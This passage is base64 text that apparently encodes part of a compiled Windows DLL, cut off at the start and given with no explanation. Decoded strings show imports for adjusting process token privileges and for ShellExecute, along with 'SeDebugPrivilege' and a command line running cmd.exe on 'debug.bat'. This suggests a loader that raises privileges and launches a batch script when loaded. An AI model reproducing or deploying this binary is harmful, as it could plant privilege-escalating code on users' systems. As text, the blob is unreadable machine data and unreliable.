hY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgb21uaSBjYWxsc2lnJwAAIGRlbGV0ZVtdAAAAIG5ld1tdAABgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwBgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAYHVkdCByZXR1cm5pbmcnAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgdmVjdG9yIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAYHN0cmluZycAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHR5cGVvZicAAAAAYHZjYWxsJwBgdmJ0YWJsZScAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAACoAAAAtPgAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAPQAAACBkZWxldGUAIG5ldwAAAABfX3VuYWxpZ25lZABfX3Jlc3RyaWN0AABfX3B0cjY0AF9fZWFiaQAAX19jbHJjYWxsAAAAX19mYXN0Y2FsbAAAX190aGlzY2FsbAAAX19zdGRjYWxsAAAAX19wYXNjYWwAAAAAX19jZGVjbABfX2Jhc2VkKAAAAAAMfgAQBH4AEPh9ABDsfQAQ4H0AENR9ABDIfQAQwH0AELh9ABCsfQAQoH0AEJ19ABCYfQAQkH0AEIx9ABCIfQAQhH0AEIB9ABB8fQAQeH0AEHR9ABBofQAQZH0AEGB9ABBcfQAQWH0AEFR9ABBQfQAQTH0AEEh9ABBEfQAQQH0AEDx9ABA4fQAQNH0AEDB9ABAsfQAQKH0AECR9ABAgfQAQHH0AEBh9ABAUfQAQEH0AEAx9ABAIfQAQBH0AEAB9ABD8fAAQ+HwAEPR8ABDwfAAQ7HwAEOB8ABDUfAAQzHwAEMB8ABCofAAQnHwAEIh8ABBofAAQSHwAECh8ABAIfAAQ6HsAEMR7ABCoewAQhHsAEGR7ABA8ewAQIHsAEBB7ABAMewAQBHsAEPR6ABDQegAQyHoAELx6ABCsegAQkHoAEHB6ABBIegAQIHoAEPh5ABDMeQAQsHkAEIx5ABBoeQAQPHkAEBB5ABD0eAAQnX0AEOB4ABDEeAAQsHgAEJB4ABB0eAAQAAAAAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8AU2VEZWJ1Z1ByaXZpbGVnZQAAAAAAAAAAL2MgZGVidWcuYmF0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAAAAAAYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlAG9wZW4AAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAEOCBABADAAAAAAAAAAAAAAAAAAAACJAAEAyBABAAAAAAAAAAAAIAAAAcgQAQKIEAEESBABAAAAAACJAAEAEAAAAAAAAA/////wAAAABAAAAADIEAECSQABAAAAAAAAAAAP////8AAAAAQAAAAGCBABAAAAAAAAAAAAEAAABwgQAQRIEAEAAAAAAAAAAAAAAAAAAAAAAkkAAQYIEAEAAAAAAAAAAAAAAAAJCQABCggQAQAAAAAAAAAAABAAAAsIEAELiBABAAAAAAkJAAEAAAAAAAAAAA/////wAAAABAAAAAoIEAEAAAAAAAAAAAAAAAAGAlAADwQwAAEFYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wAAAADY////AAAAAP7///8AAAAA2REAEAAAAAD+////AAAAANT///8AAAAA/v///zkTABBKEwAQAAAAAIUUABAAAAAATIIAEAIAAABYggAQdIIAEAAAAAAIkAAQAAAAAP////8AAAAADAAAALcUABAAAAAAJJAAEAAAAAD/////AAAAAAwAAADrKQAQ/v///wAAAADY////AAAAAP7///8AAAAAcxYAEP7///8AAAAAghYAEP7///8AAAAA2P///wAAAAD+////AAAAADUYABD+////AAAAAEEYABD+////AAAAAMD///8AAAAA/v///wAAAAC9HQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAGkrABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAADi4AEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB3MQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAD40ABAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAlzgAEAAAAAD+////AAAAANj///8AAAAA/v///5I6ABCWOgAQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAH88ABAAAAAA/v///wAAAADY////AAAAAP7///+7PwAQzj8AEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAZRQAQfIQAAAAAAAAAAAAAloUAABBgAABshAAAAAAAAAAAAADohQAAAGAAAGSFAAAAAAAAAAAAAAaGAAD4YAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQhQAAuIUAAKSFAAAAAAAAiIUAAICFAABshQAAEoYAACiGAAA4hgAASoYAAF6GAAB6hgAAmIYAAKyGAAC8hgAAyIYAANaGAADkhgAA7oYAAAaHAAAahwAAKocAADqHAABShwAAZIcAAHCHAAB+hwAAkIcAAKCHAADIhwAA1ocAAOiHAAAAiAAAFogAADCIAABGiAAAYIgAAG6IAAB8iAAAlogAAKaIAAC8iAAA1ogAAOKIAAD0iAAADIkAACSJAAAwiQAAOokAAEaJAABYiQAAZokAAHaJAACCiQAAmIkAAKSJAACwiQAAwIkAANaJAADoiQAAAAAAAPaFAAAAAAAAwAFHZXRDdXJyZW50UHJvY2VzcwCyBFNsZWVwAFIAQ2xvc2VIYW5kbGUAS0VSTkVMMzIuZGxsAAD3AU9wZW5Qcm9jZXNzVG9rZW4AAJYBTG9va3VwUHJpdmlsZWdlVmFsdWVBAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAEFEVkFQSTMyLmRsbAAAHgFTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAMUBR2V0Q3VycmVudFRocmVhZElkAADKAERlY29kZVBvaW50ZXIAhgFHZXRDb21tYW5kTGluZUEAwARUZXJtaW5hdGVQcm9jZXNzAADTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAANJc0RlYnVnZ2VyUHJlc2VudADqAEVuY29kZVBvaW50ZXIAxQRUbHNBbGxvYwAAxwRUbHNHZXRWYWx1ZQDIBFRsc1NldFZhbHVlAMYEVGxzRnJlZQDvAkludGVybG9ja2VkSW5jcmVtZW50AAAYAkdldE1vZHVsZUhhbmRsZVcAAHMEU2V0TGFzdEVycm9yAAACAkdldExhc3RFcnJvcgAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAARQJHZXRQcm9jQWRkcmVzcwAAzwJIZWFwRnJlZQAAGQFFeGl0UHJvY2VzcwBvBFNldEhhbmRsZUNvdW50AABkAkdldFN0ZEhhbmRsZQAA4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APMBR2V0RmlsZVR5cGUAYwJHZXRTdGFydHVwSW5mb1cA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24AEwJHZXRNb2R1bGVGaWxlTmFtZUEAAGEBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAEQVXaWRlQ2hhclRvTXVsdGlCeXRlANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAzQJIZWFwQ3JlYXRlAADOAkhlYXBEZXN0cm95AKcDUXVlcnl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xdTOBM4w0tTTVNNo03zXlNXM5hTmXOak5uznhOfM5BToXOik6OzpNOl86cTqDOpU6pzq5OvA6czu8O1U8JT2fPcI9Wz7RPjo/bD+EP4s/kz+YP5w/oD/JP+8/AAAAUAAAoAAAAA0wFDAYMBwwIDAkMCgwLDAwMHowgDCEMIgwjDDyMP0wGDEfMSQxKDEsMU0xdzGpMbAxtDG4MbwxwDHEMcgxzDEWMhwyIDIkMigygzKmMrEytzLHMswy3TLlMusy9TL7MgUzCzMVMx4zKTMuMzczQTNMM4czoTO7M701xDXKNfw1YTZtNuU2/zYIN+U36jc0Ozo7PjtDOwAAAGAAAFAAAAAMMRAxFDE0MTgxPDFAMUQxaDJsMnAyiDKMMoQ+jD6UPpw+pD6sPrQ+vD7EPsw+1D7cPuQ+7D70Pvw+BD8MPxQ/HD8kPyw/AAAAcAAAzAAAABg+HD4gPiQ+KD4sPjA+ND44Pjw+QD5EPkg+TD5QPlQ+WD5cPmA+ZD5oPmw+cD50Png+fD6APoQ+iD6MPpA+lD6YPpw+oD6kPqg+rD6wPrQ+uD68PsA+xD7IPsw+0D7UPtg+3D7gPuQ+6D7sPvA+9D74Pvw+AD8EPwg/DD8QPxQ/GD8cPyA/JD8oPyw/MD80Pzg/PD9AP0Q/SD9MP1A/VD9YP1w/YD9kP2g/bD9wP3Q/eD98P4A/hD+IP4w/kD+UP5g/AAAAgAAAaAAAAOww8DAEMQgxGDEcMSAxKDFAMUQxXDFsMXAxhDGIMZgxnDGsMbAxuDHQMRgyNDI4MkAySDJQMlQyXDJwMngyjDKoMrQy0DLcMvgyGDM4M1gzeDOYM7QzuDPYM/Qz+DMYNACQAAAUAQAACDAkMJAw0DHUMdgx3DHgMeQx6DHsMfAx9DH4MfwxADIEMggyDDIQMhQyGDIcMiAyJDIoMiwyMDI0MjgyPDJAMkQySDJMMlAyVDJYMlwyYDJkMmgybDJwMnQyeDKIMowykDKUMpgynDKgMqQyqDKsMrAytDK4MrwywDLEMsgyzDLQMtQy2DLcMuAy5DLoMuwy8DL0Mvgy/DIAMwQzCDMMMxAzFDMYMxwzIDMkMygzLDMwM5AzoDOwM8Az0DP0MwA0BDQINAw0EDRAOKg6rDqwOrQ6uDq8OsA6xDrIOsw62DrcOuA65DroOuw68Dr0Ovg6/DoIOww7EDsUOxg7HDsgOyQ7KDswOzQ7YDsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA